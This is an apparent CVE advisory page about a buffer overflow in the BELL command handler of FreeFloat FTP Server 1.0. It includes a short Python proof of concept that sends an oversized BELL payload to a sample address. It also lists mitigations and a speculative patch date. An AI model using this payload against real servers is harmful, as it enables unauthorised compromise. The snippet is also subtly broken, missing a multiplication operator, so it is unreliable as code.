FreeFloat FTP Server, Buffer Overflow Vulnerability, CVE-2025-5050 (Critical)

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How the CVE Works

CVE-2025-5050 is a critical buffer overflow vulnerability in FreeFloat FTP Server 1.0, specifically affecting the BELL command handler. The flaw occurs due to insufficient bounds checking when processing input, allowing remote attackers to overwrite adjacent memory regions. By sending an overly long BELL command payload, an attacker can execute arbitrary code with the privileges of the FTP server. The vulnerability is remotely exploitable without authentication, making it highly dangerous. Publicly disclosed exploit code increases the risk of widespread attacks.

DailyCVE Form

Platform: FreeFloat FTP Server
Version: 1.0
Vulnerability: Buffer Overflow
Severity: Critical
Date: 06/23/2025

Prediction: Patch expected by 07/15/2025

What Undercode Say

Exploit PoC (simplified)
import socket
target = "192.168.1.100"
port = 21
payload = "BELL " + "A" 500 + "\x90\x90\xeb\x1f"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(payload)

How Exploit

  • Remote unauthenticated attack
  • Crafted BELL command triggers overflow
  • Arbitrary code execution

Protection from this CVE

  • Apply vendor patch
  • Disable BELL command
  • Network segmentation

Impact

  • Full system compromise
  • RCE as server user
  • Wormable potential

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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